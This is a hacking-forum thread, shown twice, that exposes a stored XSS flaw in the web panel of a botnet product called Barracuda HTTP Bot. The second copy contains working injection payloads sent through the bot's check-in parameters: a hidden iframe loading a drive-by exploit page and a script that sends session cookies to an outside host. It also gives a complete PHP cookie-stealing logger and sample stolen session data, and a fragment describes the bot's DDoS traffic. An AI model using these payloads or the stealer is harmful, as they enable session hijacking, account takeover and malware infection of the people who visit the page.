This is a repost from the Marketplace Discussions section of this forum.
I am posting it in this section as well because it is a great example of how the stuff learned in this section can actually be put to practical use as opposed to just pen-testing random websites you find on Google. I hope lots of people learn something good from this. Have fun!
---------------------------------------------------------------
Barracuda HTTP Bot has reached a new low. A little bit of sniffing on WireShark shows us that Barracuda not only sends its data in plaintext, but also does not sanitize any input on the server side. Those of you in the Website and Forum Hacking section of HackForums are familiar with XSS exploits. Today we will be going over what you call persistent XSS.
-What is 'persistent XSS' ?
-The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.
Source: http://en.wikipedia.org/wiki/Cross-site_...Persistent
-Where can this be found in Barracuda HTTP Bot?
-We will go over this now.
As you can see in the image in the spoiler below, Barracuda HTTP Bot transmits data to the server in plaintext.
Spoiler (Click to View)
If we play around with submissions a bit...
...you will find that the above script will show up as a textbox saying 'persistent xss' whenever a user visits their bot dashboard. (Example below)
Spoiler (Click to View)
Now you may be wondering:
-What's the point of this? How can this be useful at all?
-Well, it can be used for a number of things such as iframing the page with an exploit pack or a java driveby, or stealing cookies
An example of an iframe utilizing this exploit would be...
An example of a cookie stealer utilizing this exploit would be...
or...
This one is better because 'botkill' logs from the bot are on the home page 100% of the time and not necessary to refresh as all logs are displayed.
Example PHP for a cookie & information stealing file:
Example output:
-What's the point of stealing cookies?
-You can use session cookies to log in under somebody else's account or identity without actually needing their login information.
Recently, it appears somebody has been doing the above as according to the following spoiler:
Spoiler (Click to View)
In conclusion, this is only one of many horrible things regarding Barracuda HTTP Bot. When it used to be an IRC bot, there was another exploit where bots listened to not the vHost, but instead the nickname of the bot controller. It has also proven to use BUNK, false-advertised DDoS methods. Hopefully this will prove to the users of HackForums that this bot is not all it claims to be on the sales thread.
Thanks and I hope you enjoyed this thread,
127.O.O.1
-----
PS: The sellers(Organized and Tropical Paradise have been lying to their customers about 'the host stealing bots' according to the following posts...
...They actually just had no idea what the actual problem was due to their lack of coding knowledge.
and look who was right...
-----
F.A.Q.
-Was it you stealing the bots?
-No, it wasn't me, I just care to expose this bot and its flaws as much as possible
-Are there other flaws in Barracuda HTTP Bot?
-Yes, the entire bot is shit. I cannot believe it took a team of coders to create such a thing
-Why did you post this thread?
-I am so sick of seeing this bot in the market. It is complete shit and all of the buyers have no idea because they don't know any better.
-Can you please post a conglomoration of unhappy buyers who bought Barracuda?
-Why yes I can.
Spoiler (Click to View)
-----
Some other good Barracuda 'exposing' related posts:
A large number of exposed panels and channels on none other than Exposed Botnets by Pig and i_post_ur_info:
http://www.exposedbotnets.com/search/lab...uda%20http
A post of my own:
List of reasons of why-not-to-buy-Barracuda-Bot
A post of analysis of Barracuda DDOS by _Stoner:
Spoiler (Click to View)
A post about botkiller code by betamonkey:
Spoiler (Click to View)
I am posting it in this section as well because it is a great example of how the stuff learned in this section can actually be put to practical use as opposed to just pen-testing random websites you find on Google. I hope lots of people learn something good from this. Have fun!
---------------------------------------------------------------
Barracuda HTTP Bot has reached a new low. A little bit of sniffing on WireShark shows us that Barracuda not only sends its data in plaintext, but also does not sanitize any input on the server side. Those of you in the Website and Forum Hacking section of HackForums are familiar with XSS exploits. Today we will be going over what you call persistent XSS.
-What is 'persistent XSS' ?
-The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.
Source: http://en.wikipedia.org/wiki/Cross-site_...Persistent
-Where can this be found in Barracuda HTTP Bot?
-We will go over this now.
As you can see in the image in the spoiler below, Barracuda HTTP Bot transmits data to the server in plaintext.
Spoiler (Click to View)
If we play around with submissions a bit...
Code
?ip=69.69.69.69&os=Microsoft%20Windows%207%20Ultimate%20&name=User&id=User-2.1<script>alert("persistent%20xss");</script>Spoiler (Click to View)
Now you may be wondering:
-What's the point of this? How can this be useful at all?
-Well, it can be used for a number of things such as iframing the page with an exploit pack or a java driveby, or stealing cookies
An example of an iframe utilizing this exploit would be...
Code
?ip=69.69.69.69&os=Microsoft%20Windows%207%20Ultimate%20&name=User&id=User-2.1<iframe src="http://website.com/DRIVEBY.php" width="0" height="0" frameborder="0"></iframe>An example of a cookie stealer utilizing this exploit would be...
Code
?ip=69.69.69.69&os=Microsoft%20Windows%207%20Ultimate%20&name=User&id=User-2.1<script>img=new%20Image();img.src="http://website.com/cookiefile.php?cookie="%2Bdocument.cookie;</script>or...
This one is better because 'botkill' logs from the bot are on the home page 100% of the time and not necessary to refresh as all logs are displayed.
Code
/logs.php?data=Successfully%20Deleted%3A%20C%3A%5CUsers%5CMiranda%5CAppData%5CRoaming%5CMicrosoft%5CWindows%5CStart%20Menu%5CPrograms%5CStartup%5Cnotavirus.exe<script>img=new%20Image();img.src="http://website.com/cookiefile.php?cookie="%2Bdocument.cookie;</script>Example PHP for a cookie & information stealing file:
Code
<?php
function WriteDataToLog($cData, $cReferer)
{
$Filename = "logfile.txt";
$hOpenFile = fopen($Filename, "a+");
if($hOpenFile)
{
$cContentsFile = fread($hOpenFile, filesize($Filename));
if(!strstr($cContentsFile, $cReferer))
{
fwrite($hOpenFile, $cData);
fclose($hOpenFile);
}
}
}
function HandleData()
{
$SessionCookie = $_GET['cookie'];
$Date = date("m-d-y h:i:s A");
$UserAgent = $_SERVER['HTTP_USER_AGENT'];
$Referer = $_SERVER['HTTP_REFERER'];
$ClientIp = $_SERVER['REMOTE_ADDR'];
$cCombinedData = sprintf("Timestamp: $Date\nReferer: $Referer\nCookie: $SessionCookie\nIP: $ClientIp\nUser Agent: $UserAgent\n-----\n");
WriteDataToLog($cCombinedData, $Referer);
}
HandleData();
?>Example output:
Code
Timestamp: 12-07-12 09:22:45 PM
Referer: http://websiteone.org/botnet/dashboard.php
Cookie: __cfduid=j7a9h55j68d8s7fs98hr89w9q0j0fgs87f7fds; PHPSESSID=77955hfsanfgds89s99h7f6s87n8f6as45
IP: 211.3.69.74
User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11
-----
Timestamp: 12-07-12 09:52:08 PM
Referer: http://websitetwo.com/barracudabot/dashboard.php
Cookie: PHPSESSID=9a67f7678a8h8f5s7c7b7f7a889a9arb
IP: 177.55.6.43
User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.91 Safari/537.11
-----
Timestamp: 12-08-12 08:26:00 PM
Referer: http://websitethree.net/image/dashboard.php
Cookie: PHPSESSID=2dges967a6f16a9nfg5a8mn6d5a4v
IP: 123.213.21.23
User Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2
------What's the point of stealing cookies?
-You can use session cookies to log in under somebody else's account or identity without actually needing their login information.
Recently, it appears somebody has been doing the above as according to the following spoiler:
Spoiler (Click to View)
In conclusion, this is only one of many horrible things regarding Barracuda HTTP Bot. When it used to be an IRC bot, there was another exploit where bots listened to not the vHost, but instead the nickname of the bot controller. It has also proven to use BUNK, false-advertised DDoS methods. Hopefully this will prove to the users of HackForums that this bot is not all it claims to be on the sales thread.
Thanks and I hope you enjoyed this thread,
127.O.O.1
-----
PS: The sellers(Organized and Tropical Paradise have been lying to their customers about 'the host stealing bots' according to the following posts...
(Dec 3, 2012 03:20 PM)Tropical Paradise Wrote:(Dec 3, 2012 03:17 PM)Releases Wrote: Hosting fixed now? No shells on it etc?
Absolutely not. The first host I used where most customers are hosted was hacked, but the hacker only got root MySQL access (according to my host.) This has been fixed now, and according to my host they've taken many steps to prevent this in the future.
(Dec 4, 2012 03:57 PM)Organised Wrote: I wont to know what host this is on so i can remove everyone from it if its mine ill see if its hacked also if you need update Digital pm me
...They actually just had no idea what the actual problem was due to their lack of coding knowledge.
and look who was right...
(Dec 3, 2012 03:22 PM)Releases Wrote: But are you aware of the following: http://www.exposedbotnets.com/search/lab...uda%20http
They are stating that there are holes in the setup of the HTTP bot itself. Not only the hosting itself.
This is not intended to trash any sales, just only want this fixed so I don't lose again in the future.
-----
F.A.Q.
-Was it you stealing the bots?
-No, it wasn't me, I just care to expose this bot and its flaws as much as possible
-Are there other flaws in Barracuda HTTP Bot?
-Yes, the entire bot is shit. I cannot believe it took a team of coders to create such a thing
-Why did you post this thread?
-I am so sick of seeing this bot in the market. It is complete shit and all of the buyers have no idea because they don't know any better.
-Can you please post a conglomoration of unhappy buyers who bought Barracuda?
-Why yes I can.
Spoiler (Click to View)
-----
Some other good Barracuda 'exposing' related posts:
A large number of exposed panels and channels on none other than Exposed Botnets by Pig and i_post_ur_info:
http://www.exposedbotnets.com/search/lab...uda%20http
A post of my own:
List of reasons of why-not-to-buy-Barracuda-Bot
A post of analysis of Barracuda DDOS by _Stoner:
Spoiler (Click to View)
A post about botkiller code by betamonkey:
Spoiler (Click to View)


![[Image: ZZ1Lb.png]](https://i.imgur.com/ZZ1Lb.png)
![[Image: 7Erdw.png]](https://i.imgur.com/7Erdw.png)
![[Image: Y6vif.png]](https://i.imgur.com/Y6vif.png)
![[Image: q6NzO.png]](https://i.imgur.com/q6NzO.png)
![[Image: bd1ba637804908bf74852e570c56c964.png?1354660817]](https://gyazo.com/bd1ba637804908bf74852e570c56c964.png?1354660817)
![[Image: cebc695b3aa591e7a306a16d25bc3dfa.png?1354659676]](https://gyazo.com/cebc695b3aa591e7a306a16d25bc3dfa.png?1354659676)
![[Image: E5mFw.png]](https://i.imgur.com/E5mFw.png)
![[Image: QWt7b.png]](https://i.imgur.com/QWt7b.png)
]) is actually a POST request spammer with no data. All it does that is out of the ordinary is decide on a random Content-length(which does not do anything). When ARME is coded correctly, it is supposed to over abuse Partial-Content and ranges in HTTP headers.![[Image: 90SIN.png]](https://i.imgur.com/90SIN.png)
![[Image: SLo1u.png]](https://i.imgur.com/SLo1u.png)
![[Image: YHR5J.png]](https://i.imgur.com/YHR5J.png)
![[Image: lVpfh.jpg]](https://i.imgur.com/lVpfh.jpg)
![[Image: GFsxR.jpg]](https://i.imgur.com/GFsxR.jpg)
![[Image: U9f8L.jpg]](https://i.imgur.com/U9f8L.jpg)
![[Image: f4qey05.gif]](https://i.imgur.com/f4qey05.gif)

![[Image: FtwuQgr.gif]](https://i.imgur.com/FtwuQgr.gif)